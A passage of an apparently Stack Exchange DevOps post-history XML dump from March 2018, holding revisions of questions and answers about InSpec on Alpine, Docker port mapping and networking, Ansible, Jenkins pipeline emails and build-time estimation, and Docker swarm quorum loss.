0.0.0.0:5432            0.0.0.0:*               LISTEN      999        108791     -                   &#xD;&#xA;    tcp6       0      0 :::5432                 :::*                    LISTEN      999        108792     -  &#xD;&#xA;&#xD;&#xA; &#xD;&#xA;On Alpine, the inode output is missing:&#xD;&#xA;&#xD;&#xA;    netstat -tulpen&#xD;&#xA;    Active Internet connections (only servers)&#xD;&#xA;    Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    &#xD;&#xA;    tcp        0      0 0.0.0.0:5432            0.0.0.0:*               LISTEN      -&#xD;&#xA;    tcp        0      0 :::5432                 :::*                    LISTEN      -&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;That is why InSpec is not able to parse the netstat output. It is clearly a bug in InSpec. As a mitigation, I recommend to install the `iproute2` package for alpine containers via `apk add iproute2`. InSpec prefers `ss` over `netstat`. Please report this bug to [InSpec team](https://github.com/chef/inspec/issues/new).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11774" PostHistoryTypeId="6" PostId="3735" RevisionGUID="2c581c34-aea7-4dd9-b236-cf862400301f" CreationDate="2018-03-28T12:17:38.610" UserId="549" Comment="Improve tagging." Text="&lt;docker&gt;&lt;ports&gt;&lt;inspec&gt;&lt;postgresql&gt;&lt;alpine&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11775" PostHistoryTypeId="2" PostId="3761" RevisionGUID="64eb4cac-93fc-47c1-a817-0b2d6f2f180d" CreationDate="2018-03-28T12:18:41.350" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="11776" PostHistoryTypeId="1" PostId="3761" RevisionGUID="64eb4cac-93fc-47c1-a817-0b2d6f2f180d" CreationDate="2018-03-28T12:18:41.350" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11777" PostHistoryTypeId="2" PostId="3762" RevisionGUID="bc33e03b-9ff8-422d-a3ad-eb2d222f13f9" CreationDate="2018-03-28T12:18:41.350" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="11778" PostHistoryTypeId="1" PostId="3762" RevisionGUID="bc33e03b-9ff8-422d-a3ad-eb2d222f13f9" CreationDate="2018-03-28T12:18:41.350" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11779" PostHistoryTypeId="10" PostId="3717" RevisionGUID="bbe0df7f-8261-42e0-afde-47d2e0525701" CreationDate="2018-03-28T12:42:30.037" UserId="-1" Comment="102" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:739,&quot;DisplayName&quot;:&quot;chicks&quot;},{&quot;Id&quot;:736,&quot;DisplayName&quot;:&quot;Alex&quot;},{&quot;Id&quot;:4328,&quot;DisplayName&quot;:&quot;PrestonM&quot;},{&quot;Id&quot;:397,&quot;DisplayName&quot;:&quot;Richard Slater&quot;}]}" />
  <row Id="11780" PostHistoryTypeId="5" PostId="3733" RevisionGUID="e04f0cca-da6a-43ba-b934-0f4afbc5fdee" CreationDate="2018-03-28T12:43:33.853" UserId="739" Comment="formatting and copy editing title and body" Text="I have been using docker for a few months and I am just a developer not a DevOps or a networking person. However, I came across a `docker-compose` which maps an external port to an internal port. Something like in this [compose file](https://docs.docker.com/compose/compose-file/#endpoint_mode)&#xD;&#xA;where it says:&#xD;&#xA;&#xD;&#xA;    ports:&#xD;&#xA;      - 8080:80&#xD;&#xA;&#xD;&#xA;My question is WHY? Why do we need to map an external port to internal port. Some of the explanation that I came across was that if you want to not expose a particular port to the user but use it internally. That also begs the same question: what would be a real life example of someone wanting to do this and why?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11781" PostHistoryTypeId="4" PostId="3733" RevisionGUID="e04f0cca-da6a-43ba-b934-0f4afbc5fdee" CreationDate="2018-03-28T12:43:33.853" UserId="739" Comment="formatting and copy editing title and body" Text="Why should you do port mapping for docker containers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11782" PostHistoryTypeId="24" PostId="3733" RevisionGUID="e04f0cca-da6a-43ba-b934-0f4afbc5fdee" CreationDate="2018-03-28T12:43:33.853" Comment="Proposed by 739 approved by 40, 397 edit id of 661" ContentLicense="CC BY-SA 3.0" />
  <row Id="11783" PostHistoryTypeId="5" PostId="3761" RevisionGUID="71d52d85-da32-48b0-96e2-9762d2973576" CreationDate="2018-03-28T12:43:49.423" UserId="549" Comment="Expand supplementary info for tag." Text="# Linux Distribution&#xD;&#xA;From the https://www.alpinelinux.org/about/ page:&#xD;&#xA;&#xD;&#xA;&gt; # ABOUT&#xD;&#xA;Alpine Linux is an independent, non-commercial, general purpose Linux distribution designed for power users who appreciate security, simplicity and resource efficiency.&#xD;&#xA;&#xD;&#xA;&gt; ## SMALL&#xD;&#xA;Alpine Linux is built around musl libc and busybox. This makes it smaller and more resource efficient than traditional GNU/Linux distributions. A container requires no more than 8 MB and a minimal installation to disk requires around 130 MB of storage. Not only do you get a fully-fledged Linux environment but a large selection of packages from the repository.&#xD;&#xA;&#xD;&#xA;&gt; Binary packages are thinned out and split, giving you even more control over what you install, which in turn keeps your environment as small and efficient as possible.&#xD;&#xA;&#xD;&#xA;&gt; ## SIMPLE&#xD;&#xA;Alpine Linux is a very simple distribution that will try to stay out of your way. It uses its own package manager called apk, the OpenRC init system, script driven set-ups and that’s it! This provides you with a simple, crystal-clear Linux environment without all the noise. You can then add on top of that just the packages you need for your project, so whether it’s building a home PVR, or an iSCSI storage controller, a wafer-thin mail server container, or a rock-solid embedded switch, nothing else will get in the way.&#xD;&#xA;&#xD;&#xA;&gt; ## SECURE&#xD;&#xA;Alpine Linux was designed with security in mind. The kernel is patched with an unofficial port of grsecurity/PaX, and all userland binaries are compiled as Position Independent Executables (PIE) with stack smashing protection. These proactive security features prevent exploitation of entire classes of zero-day and other vulnerabilities.&#xD;&#xA;&#xD;&#xA;# Alpine in the Docker Hub Library&#xD;&#xA;Alpine is used by a number of official images in the [Docker library][1], using the [official Alpine base image][2]. &#xD;&#xA;&#xD;&#xA;&gt; ## What is Alpine Linux?&#xD;&#xA;Alpine Linux is a Linux distribution built around musl libc and BusyBox. The image is only 5 MB in size and has access to a package repository that is much more complete than other BusyBox based images. This makes Alpine Linux a great image base for utilities and even production applications. Read more about Alpine Linux here and you can see how their mantra fits in right at home with Docker images.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/u/library/&#xD;&#xA;  [2]: https://hub.docker.com/_/alpine/" ContentLicense="CC BY-SA 3.0" />
  <row Id="11784" PostHistoryTypeId="24" PostId="3761" RevisionGUID="71d52d85-da32-48b0-96e2-9762d2973576" CreationDate="2018-03-28T12:43:49.423" Comment="Proposed by 549 approved by 40, 397 edit id of 664" ContentLicense="CC BY-SA 3.0" />
  <row Id="11785" PostHistoryTypeId="5" PostId="3762" RevisionGUID="ee51db4a-d636-47d6-be3e-573ad7bfdb09" CreationDate="2018-03-28T12:45:00.067" UserId="549" Comment="Expand supplementary info for tag." Text="For DevOps questions related to Alpine Linux or Alpine-based containers." ContentLicense="CC BY-SA 3.0" />
  <row Id="11786" PostHistoryTypeId="24" PostId="3762" RevisionGUID="ee51db4a-d636-47d6-be3e-573ad7bfdb09" CreationDate="2018-03-28T12:45:00.067" Comment="Proposed by 549 approved by 40, 397 edit id of 663" ContentLicense="CC BY-SA 3.0" />
  <row Id="11787" PostHistoryTypeId="5" PostId="963" RevisionGUID="75f60224-6f42-40d4-914f-57c5c94de2db" CreationDate="2018-03-28T12:45:06.617" UserId="4289" Comment="Tag summary copied from Stack Overflow" Text="[**GitLab**][1] is open source software to collaborate on code. It can be considered an open source self hosted [tag:Github], but GitLab.com also provides [git hosting][2] in the way GitHub does, and you can also have private repositories for free.&#xD;&#xA;&#xD;&#xA;## Features&#xD;&#xA;GitLab has the [following features][3]:&#xD;&#xA;&#xD;&#xA; - Code management&#xD;&#xA; - Merge requests&#xD;&#xA; - Issue tracking&#xD;&#xA; - Wiki&#xD;&#xA; - Code review&#xD;&#xA; - Continuous Integration and Deployment&#xD;&#xA; - Fine grained access controls&#xD;&#xA; - Advanced LDAP synchronization&#xD;&#xA; - Email Alerting Service&#xD;&#xA;&#xD;&#xA;## Screens&#xD;&#xA;![Gitlab-demo][4]&#xD;&#xA;&#xD;&#xA;There are [three versions][5] available for GitLab:&#xD;&#xA;&#xD;&#xA; - Community Edition (CE)&#xD;&#xA; - Enterprise Edition Starter (EES)&#xD;&#xA; - Enterprise Edition Premium (EEP)&#xD;&#xA;&#xD;&#xA;## Resources&#xD;&#xA;&#xD;&#xA; 1. [Source Code][6] ([GitHub mirror][7])&#xD;&#xA; 2. [Documentation][8]&#xD;&#xA; 3. [Community][9]&#xD;&#xA; 4. [Mailing List][10]&#xD;&#xA; 5. [Official Blog][11]&#xD;&#xA; 6. [GitLab Continuous Integration][12]&#xD;&#xA;&#xD;&#xA;  [1]: https://about.gitlab.com&#xD;&#xA;  [2]: https://gitlab.com/explore&#xD;&#xA;  [3]: https://about.gitlab.com/features&#xD;&#xA;  [4]: https://i.imgur.com/uxszlpp.gif&#xD;&#xA;  [5]: https://about.gitlab.com/products&#xD;&#xA;  [6]: https://gitlab.com/gitlab-org/gitlab-ce/tree/master&#xD;&#xA;  [7]: https://github.com/gitlabhq/gitlabhq&#xD;&#xA;  [8]: https://docs.gitlab.com&#xD;&#xA;  [9]: https://about.gitlab.com/community&#xD;&#xA;  [10]: https://groups.google.com/forum/#!forum/gitlabhq&#xD;&#xA;  [11]: https://about.gitlab.com/blog&#xD;&#xA;  [12]: https://gitlab.com/gitlab-ci" ContentLicense="CC BY-SA 3.0" />
  <row Id="11788" PostHistoryTypeId="24" PostId="963" RevisionGUID="75f60224-6f42-40d4-914f-57c5c94de2db" CreationDate="2018-03-28T12:45:06.617" Comment="Proposed by 4289 approved by 40, 397 edit id of 662" ContentLicense="CC BY-SA 3.0" />
  <row Id="11791" PostHistoryTypeId="2" PostId="3763" RevisionGUID="802e399b-cfe6-4441-b84e-1f1216e82159" CreationDate="2018-03-28T14:02:21.357" UserId="7151" Text="I want to run an ansible playbook locally (host is localhost, like `-i &quot;localhost,&quot;`) and inside the Playbook obtain the working directory from which the `ansible-playbook` command was invoked.&#xD;&#xA;&#xD;&#xA;However, when I read out the current working directory in a playbook task, I get the directory of the playbook itself.&#xD;&#xA;&#xD;&#xA;Is there any variable I can refer to to obtain the working directory on the controlling host (which is localhost) in my case?&#xD;&#xA;&#xD;&#xA;I can inject via a variable `-e` but I would prefer to have a fall-back that if that variable is not set I can obtain it from the ([local]host) environment." ContentLicense="CC BY-SA 3.0" />
  <row Id="11792" PostHistoryTypeId="1" PostId="3763" RevisionGUID="802e399b-cfe6-4441-b84e-1f1216e82159" CreationDate="2018-03-28T14:02:21.357" UserId="7151" Text="Ansible Playbook Localhost Invocation Working Directory" ContentLicense="CC BY-SA 3.0" />
  <row Id="11793" PostHistoryTypeId="3" PostId="3763" RevisionGUID="802e399b-cfe6-4441-b84e-1f1216e82159" CreationDate="2018-03-28T14:02:21.357" UserId="7151" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11794" PostHistoryTypeId="2" PostId="3764" RevisionGUID="d944140c-8bec-4f63-a71c-1c34292c9bbc" CreationDate="2018-03-28T14:22:30.953" UserId="7152" Text="I'd use the shell module to run a simple pwd then use register to capture that &#xD;&#xA;&#xD;&#xA;    name: current_working_directory&#xD;&#xA;        shell: pwd&#xD;&#xA;        register: current_working_directory&#xD;&#xA;&#xD;&#xA;you can then reuse this anywhere &#xD;&#xA;&#xD;&#xA;    {{  current_working_directory.stdout }}" ContentLicense="CC BY-SA 3.0" />
  <row Id="11795" PostHistoryTypeId="5" PostId="3758" RevisionGUID="92b36420-d251-47a0-aa66-7c0190b49959" CreationDate="2018-03-28T14:24:05.540" UserId="800" Comment="added 81 characters in body" Text="[The Twelve Factors](https://12factor.net) is a sort of manifesto seen as a road-map for developers to follow when building modern web-based.  &#xD;&#xA;&#xD;&#xA;How would you explain each of the 12 factors in less than three sentences to your 5-year-old son?&#xD;&#xA;&#xD;&#xA;**disclaimer**  &#xD;&#xA;Computer jargon allowed .. your 5-year-old son is a genius." ContentLicense="CC BY-SA 3.0" />
  <row Id="11798" PostHistoryTypeId="50" PostId="1931" RevisionGUID="9a189a6c-9f55-4b8d-9775-2664bb8d7067" CreationDate="2018-03-28T15:45:07.563" UserId="-1" />
  <row Id="11799" PostHistoryTypeId="5" PostId="3747" RevisionGUID="82dfb209-0ea5-4f7a-8b11-26091ac143f4" CreationDate="2018-03-28T17:27:31.473" UserId="743" Comment="added 13 characters in body" Text="Would like to ask for recommendations on ready automated solutions or templates for rolling ec2 instance upgrade on AWS, requiring a reboot with ELB/ALB.&#xD;&#xA;Specifically required to perform the maintenance upgrade for the kernel on hundreds of Linux machines.&#xD;&#xA;&#xD;&#xA;For each ELB/ALB steps are:&#xD;&#xA;&#xD;&#xA; 1. Disconnect ec2 instance from ELB/ALB wait for connection draining&#xD;&#xA; 2. Upgrade kernel and reboot machine (not part of automation, e.g. running external ./upgrade.sh)&#xD;&#xA; 3. Wait for instance to be online, connect to ELB/ALB, wait for health check status &#xD;&#xA; 4. Continue to next instance in the load balancer&#xD;&#xA;&#xD;&#xA;Note: not looking for migration to the solution similar to Netflix Spinnaker or immutable deployment strategy implementation, but for general and simple on-demand maintenance tool." ContentLicense="CC BY-SA 3.0" />
  <row Id="11801" PostHistoryTypeId="50" PostId="1746" RevisionGUID="de58610b-9da2-4695-8b40-9f212137b0bf" CreationDate="2018-03-28T19:45:10.087" UserId="-1" />
  <row Id="11802" PostHistoryTypeId="2" PostId="3765" RevisionGUID="0cb9c21c-9d03-4a93-92a5-8f80fbb3fc13" CreationDate="2018-03-29T00:41:56.997" UserId="6705" Text="I have a micro-service &quot;watchblockchain&quot; that makes requests on bitcoin blockchain. When I use both services, everything works just fine.&#xD;&#xA;Then I want to put those services in docker containers.&#xD;&#xA;watchblockchain cannot communicate with the bitcoin docker.&#xD;&#xA;I use docker image: kylemanna/bitcoind/&#xD;&#xA;&#xD;&#xA;here is my bitcoin.conf file:&#xD;&#xA;&#xD;&#xA;    disablewallet=1&#xD;&#xA;    printtoconsole=1&#xD;&#xA;    rpcauth=jfjobidon:123...xyz&#xD;&#xA;    testnet=1&#xD;&#xA;    txindex=1&#xD;&#xA;    server=1&#xD;&#xA;    rpcport=8332&#xD;&#xA;&#xD;&#xA;I can open a console in the bitcoin container and verify that the blocks are downloading and I can make requests on the blockchain&#xD;&#xA;ex: bitcoin-cli getblockcount&#xD;&#xA;&#xD;&#xA;in watchblockchain, I have this connection config:&#xD;&#xA;&#xD;&#xA;    var clientBTC = new bitcoin.Client({&#xD;&#xA;        host: 'bitcoin',&#xD;&#xA;        port:  8332,&#xD;&#xA;        user: 'jfjobidon',&#xD;&#xA;        pass: 'Lw.....='&#xD;&#xA;    });&#xD;&#xA;&#xD;&#xA;and I mapped bitcoin to 127.0.0.1 in my hosts file&#xD;&#xA;&#xD;&#xA;My docker-compose.yml&#xD;&#xA;&#xD;&#xA;    version: &quot;3&quot;&#xD;&#xA;    services:&#xD;&#xA;      watchblockchain:&#xD;&#xA;        build: ./watchBlockchain&#xD;&#xA;        depends_on:&#xD;&#xA;          - redis&#xD;&#xA;        deploy:&#xD;&#xA;          replicas: 1&#xD;&#xA;          restart_policy:&#xD;&#xA;            condition: on-failure&#xD;&#xA;      redis:&#xD;&#xA;        image: redis:4.0&#xD;&#xA;        command: redis-server --appendonly yes&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;6379:6379&quot;&#xD;&#xA;        deploy:&#xD;&#xA;          placement:&#xD;&#xA;            constraints: [node.role == manager]&#xD;&#xA;        command: redis-server --appendonly yes&#xD;&#xA;&#xD;&#xA;When I launch: docker-compose up, I have the following error:&#xD;&#xA;&#xD;&#xA;    Error: connect ECONNREFUSED 127.0.0.1:8332&#xD;&#xA;&#xD;&#xA;I think it is a network communication problem.&#xD;&#xA;&#xD;&#xA;How can I get my watchblockchain service to communication with the bitcoin docker ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11803" PostHistoryTypeId="1" PostId="3765" RevisionGUID="0cb9c21c-9d03-4a93-92a5-8f80fbb3fc13" CreationDate="2018-03-29T00:41:56.997" UserId="6705" Text="docker micro-service cannot connect to bitcoin docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="11804" PostHistoryTypeId="3" PostId="3765" RevisionGUID="0cb9c21c-9d03-4a93-92a5-8f80fbb3fc13" CreationDate="2018-03-29T00:41:56.997" UserId="6705" Text="&lt;docker&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11805" PostHistoryTypeId="5" PostId="3765" RevisionGUID="b7b4a42c-efe7-4447-9c6b-6bc892d241c6" CreationDate="2018-03-29T02:50:59.310" UserId="47" Comment="improved readability" Text="I have a micro-service `watchblockchain` that makes requests on `bitcoin` blockchain. When I use both services, everything works just fine.&#xD;&#xA;Then I want to put those services in docker containers.&#xD;&#xA;`watchblockchain` cannot communicate with the `bitcoin` docker.&#xD;&#xA;I use docker image: kylemanna/bitcoind/&#xD;&#xA;&#xD;&#xA;Here is my `bitcoin.conf` file:&#xD;&#xA;&#xD;&#xA;    disablewallet=1&#xD;&#xA;    printtoconsole=1&#xD;&#xA;    rpcauth=jfjobidon:123...xyz&#xD;&#xA;    testnet=1&#xD;&#xA;    txindex=1&#xD;&#xA;    server=1&#xD;&#xA;    rpcport=8332&#xD;&#xA;&#xD;&#xA;I can open a console in the `bitcoin` container and verify that the blocks are downloading and I can make requests on the blockchain&#xD;&#xA;ex: bitcoin-cli getblockcount&#xD;&#xA;&#xD;&#xA;In `watchblockchain`, I have this connection config:&#xD;&#xA;&#xD;&#xA;    var clientBTC = new bitcoin.Client({&#xD;&#xA;        host: 'bitcoin',&#xD;&#xA;        port:  8332,&#xD;&#xA;        user: 'jfjobidon',&#xD;&#xA;        pass: 'Lw.....='&#xD;&#xA;    });&#xD;&#xA;&#xD;&#xA;And I mapped `bitcoin` to 127.0.0.1 in my hosts file&#xD;&#xA;&#xD;&#xA;My `docker-compose.yml`:&#xD;&#xA;&#xD;&#xA;    version: &quot;3&quot;&#xD;&#xA;    services:&#xD;&#xA;      watchblockchain:&#xD;&#xA;        build: ./watchBlockchain&#xD;&#xA;        depends_on:&#xD;&#xA;          - redis&#xD;&#xA;        deploy:&#xD;&#xA;          replicas: 1&#xD;&#xA;          restart_policy:&#xD;&#xA;            condition: on-failure&#xD;&#xA;      redis:&#xD;&#xA;        image: redis:4.0&#xD;&#xA;        command: redis-server --appendonly yes&#xD;&#xA;        ports:&#xD;&#xA;          - &quot;6379:6379&quot;&#xD;&#xA;        deploy:&#xD;&#xA;          placement:&#xD;&#xA;            constraints: [node.role == manager]&#xD;&#xA;        command: redis-server --appendonly yes&#xD;&#xA;&#xD;&#xA;When I launch: docker-compose up, I have the following error:&#xD;&#xA;&#xD;&#xA;&gt; Error: connect ECONNREFUSED 127.0.0.1:8332&#xD;&#xA;&#xD;&#xA;I think it is a network communication problem.&#xD;&#xA;&#xD;&#xA;How can I get my `watchblockchain` service to communication with the `bitcoin` docker ?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11806" PostHistoryTypeId="2" PostId="3766" RevisionGUID="df02a566-59aa-4f71-9c95-a676e642beca" CreationDate="2018-03-29T09:17:32.577" UserId="7162" Text="Before Pipeline, I used [Email-ext plugin][1] to define triggers for sending emails (on first failure, and when back to success).&#xD;&#xA;&#xD;&#xA;But in the Pipeline version, I can't control the triggers, I can only &quot;send always&quot;, or send based on current build result.&#xD;&#xA;&#xD;&#xA;How do I send emails in pipeline based on more general triggers? (first failure, first success, etc)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins.io/display/JENKINS/Email-ext+plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="11807" PostHistoryTypeId="1" PostId="3766" RevisionGUID="df02a566-59aa-4f71-9c95-a676e642beca" CreationDate="2018-03-29T09:17:32.577" UserId="7162" Text="How to use Jenkins Pipeline and choose triggers for email notifications?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11808" PostHistoryTypeId="3" PostId="3766" RevisionGUID="df02a566-59aa-4f71-9c95-a676e642beca" CreationDate="2018-03-29T09:17:32.577" UserId="7162" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;jenkins-pipeline&gt;&lt;jenkins-plugins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11809" PostHistoryTypeId="2" PostId="3767" RevisionGUID="2dff5d7d-b1a3-4a13-9b86-af99a178f041" CreationDate="2018-03-29T09:29:54.307" UserId="3700" Text="I have deployed Docker EE on AWS by choosing the package directly from the AWS Marketplace: Docker EE for AWS (Standard/Advanced) - BYOL. The cluster has been successfully launched and deployed on AWS. &#xD;&#xA;&#xD;&#xA;After deploying several stacks on the UCP something really strange is happening, the managers are not able to see each other, they are losing the quorum inside the Swarm and the `docker info` command says that they are out of Swarm.&#xD;&#xA;&#xD;&#xA;The AutoScalling group from AWS starts launching new managers inside the Swarm and the new launched managers are terminated in a couple of minutes because they are not Swarm's participants as well. Actually the AutoScalling group goes in a infinity loop by launching new managers and terminating the old ones.&#xD;&#xA;&#xD;&#xA;The worst thing is that I am loosing the data from the Docker Services and there is no way of recovering.&#xD;&#xA;&#xD;&#xA;Any ideas?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11810" PostHistoryTypeId="1" PostId="3767" RevisionGUID="2dff5d7d-b1a3-4a13-9b86-af99a178f041" CreationDate="2018-03-29T09:29:54.307" UserId="3700" Text="Docker managers are losing quorum on AWS" ContentLicense="CC BY-SA 3.0" />
  <row Id="11811" PostHistoryTypeId="3" PostId="3767" RevisionGUID="2dff5d7d-b1a3-4a13-9b86-af99a178f041" CreationDate="2018-03-29T09:29:54.307" UserId="3700" Text="&lt;docker&gt;&lt;amazon-web-services&gt;&lt;docker-swarm&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11812" PostHistoryTypeId="2" PostId="3768" RevisionGUID="1c8ebaa0-5d3b-4134-aacc-6a4ace4f7638" CreationDate="2018-03-29T13:44:25.407" UserId="736" Text="We just updated our Jenkins to v2.207.1 and our build estimation times on pipeline jobs have stopped showing up. Rather than a blue bar that when hovered over shows an estimate, we are now seeing the blue-and-white striped barber pole and an estimation of N/A. &#xD;&#xA;&#xD;&#xA;I believe this behavior might be only on pipeline jobs - we have so few freestyle jobs that I haven't seen them run yet.&#xD;&#xA;&#xD;&#xA;What logic does Jenkins use to calculate those estimations? How many builds will we need before those times fill back in?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11813" PostHistoryTypeId="1" PostId="3768" RevisionGUID="1c8ebaa0-5d3b-4134-aacc-6a4ace4f7638" CreationDate="2018-03-29T13:44:25.407" UserId="736" Text="How many builds does jenkins need to run before it has estimated times?" ContentLicense="CC BY-SA 3.0" />
  <row Id="11814" PostHistoryTypeId="3" PostId="3768" RevisionGUID="1c8ebaa0-5d3b-4134-aacc-6a4ace4f7638" CreationDate="2018-03-29T13:44:25.407" UserId="736" Text="&lt;jenkins&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11815" PostHistoryTypeId="2" PostId="3769" RevisionGUID="10c51c94-afb7-468c-a557-52de2c993d1f" CreationDate="2018-03-29T14:36:02.650" UserId="5688" Text="the containers `hosts` file will differ from your hosts `hosts` file.&#xD;&#xA;&#xD;&#xA;see it kind of like a VM.&#xD;&#xA;&#xD;&#xA;Also 127.0.0.1 is the wrong address, you might need to configure the actual ip/hostname your host has and where the service is listening on inside the watchblockchain container.&#xD;&#xA;&#xD;&#xA;So Problems:&#xD;&#xA;&#xD;&#xA;- Your docker container knows nothing about the host `bitcoin`. an entry in your docker hosts `/etc/hosts` won't change that.&#xD;&#xA;&#xD;&#xA;- Maybe your bitcoin service only binds to localhost `127.0.0.1` - this will also keep any docker container from connecting to it. Maybe you can configure it so that it binds to the docker bridge IP. So only all the docker containers are able to connect to it.&#xD;&#xA;&#xD;&#xA;- It would be easier if your bitcoind would also be a docker container and was configured inside the `docker-compose.yml`. That way you could resolve the host using the container name. But still your bitcoind should be configured to bind on every interface.&#xD;&#xA;&#xD;&#xA;Hope this helps ;)&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11817" PostHistoryTypeId="2" PostId="3771" RevisionGUID="e82bf8ab-5e29-4bf3-8f6c-2a559979de48" CreationDate="2018-03-29T15:12:42.347" UserId="4328" Text="I checked out the Jenkins source code, and I believe Jenkins uses the last 3 *successful* or *unstable* builds for it's estimation. If it out of the last 6 builds it can't find 3 *successful* or *unstable* builds, it uses 1 or more of the last *completed* (not aborted) builds. It then takes the total duration time of the &quot;candidates&quot; and simply divides it by the number of candidates (i.e. mean of the durations). Here is the code I based this off of that can be found in the Job.java file in the [Jenkins repo][1]:&#xD;&#xA;&#xD;&#xA;    /**&#xD;&#xA;         * Returns candidate build for calculating the estimated duration of the current run.&#xD;&#xA;         * &#xD;&#xA;         * Returns the 3 last successful (stable or unstable) builds, if there are any.&#xD;&#xA;         * Failing to find 3 of those, it will return up to 3 last unsuccessful builds.&#xD;&#xA;         * &#xD;&#xA;         * In any case it will not go more than 6 builds into the past to avoid costly build loading.&#xD;&#xA;         */&#xD;&#xA;        @SuppressWarnings(&quot;unchecked&quot;)&#xD;&#xA;        protected List&lt;RunT&gt; getEstimatedDurationCandidates() {&#xD;&#xA;            List&lt;RunT&gt; candidates = new ArrayList&lt;RunT&gt;(3);&#xD;&#xA;            RunT lastSuccessful = getLastSuccessfulBuild();&#xD;&#xA;            int lastSuccessfulNumber = -1;&#xD;&#xA;            if (lastSuccessful != null) {&#xD;&#xA;                candidates.add(lastSuccessful);&#xD;&#xA;                lastSuccessfulNumber = lastSuccessful.getNumber();&#xD;&#xA;            }&#xD;&#xA;    &#xD;&#xA;            int i = 0;&#xD;&#xA;            RunT r = getLastBuild();&#xD;&#xA;            List&lt;RunT&gt; fallbackCandidates = new ArrayList&lt;RunT&gt;(3);&#xD;&#xA;            while (r != null &amp;&amp; candidates.size() &lt; 3 &amp;&amp; i &lt; 6) {&#xD;&#xA;                if (!r.isBuilding() &amp;&amp; r.getResult() != null &amp;&amp; r.getNumber() != lastSuccessfulNumber) {&#xD;&#xA;                    Result result = r.getResult();&#xD;&#xA;                    if (result.isBetterOrEqualTo(Result.UNSTABLE)) {&#xD;&#xA;                        candidates.add(r);&#xD;&#xA;                    } else if (result.isCompleteBuild()) {&#xD;&#xA;                        fallbackCandidates.add(r);&#xD;&#xA;                    }&#xD;&#xA;                }&#xD;&#xA;                i++;&#xD;&#xA;                r = r.getPreviousBuild();&#xD;&#xA;            }&#xD;&#xA;            &#xD;&#xA;            while (candidates.size() &lt; 3) {&#xD;&#xA;                if (fallbackCandidates.isEmpty())&#xD;&#xA;                    break;&#xD;&#xA;                RunT run = fallbackCandidates.remove(0);&#xD;&#xA;                candidates.add(run);&#xD;&#xA;            }&#xD;&#xA;            &#xD;&#xA;            return candidates;&#xD;&#xA;        }&#xD;&#xA;        &#xD;&#xA;        public long getEstimatedDuration() {&#xD;&#xA;            List&lt;RunT&gt; builds = getEstimatedDurationCandidates();&#xD;&#xA;            &#xD;&#xA;            if(builds.isEmpty())     return -1;&#xD;&#xA;    &#xD;&#xA;            long totalDuration = 0;&#xD;&#xA;            for (RunT b : builds) {&#xD;&#xA;                totalDuration += b.getDuration();&#xD;&#xA;            }&#xD;&#xA;            if(totalDuration==0) return -1;&#xD;&#xA;    &#xD;&#xA;            return Math.round((double)totalDuration / builds.size());&#xD;&#xA;        }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/jenkinsci/jenkins" ContentLicense="CC BY-SA 3.0" />
  <row Id="11818" PostHistoryTypeId="5" PostId="1820" RevisionGUID="ecb30e8c-3e8b-42d1-9544-fb9e776b2743" CreationDate="2018-03-29T15:47:49.727" UserId="3062" Comment="added 515 characters in body; edited tags" Text="I have hosted VSO build agents building our exe and that pipeline setup.  I am trying to deploy the produced exe to a dev testing environment.  I have a deployment group set up and the files are being successfully copied to the correct location.  What I'm trying to do now is launch the exe after it was copied.  I have an inline powershell script task running consisting of&#xD;&#xA;&#xD;&#xA;    # You can write your powershell scripts inline here. &#xD;&#xA;    # You can also pass predefined and custom variables to this scripts using arguments&#xD;&#xA;&#xD;&#xA;    Param([int]$autoRelaunch)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    if($autoRelaunch)&#xD;&#xA;    {&#xD;&#xA;        Write-Host Relaunching exe;&#xD;&#xA;&#xD;&#xA;        &amp; 'PathToExe\MyExe.exe';&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    else&#xD;&#xA;    {&#xD;&#xA;        Write-Host Skipping launch of exe;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;the release log displays `Relaunching POS` but on the computer the script is running, the process isn't launched.  If I run `&amp; 'PathToExe\MyExe.exe'` via powershell on the computer from the A1 folder, the process starts as expected.  What am I missing?&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;Revisiting this after a bit.  I have redone the script to use start-process `Start-Process -FilePath MyExePath`.  I have used combinations of using runas with credentials setting working directorys.  The process does start...sort of.  My target application is a WPF window.  It launches but doesn't any any GUI drawn.    I know the process is running because i can use `get-process myexe` which returns a valid process.  Does anyone know how to launch wpf/console application and have it draw it's GUI?" ContentLicense="CC BY-SA 3.0" />
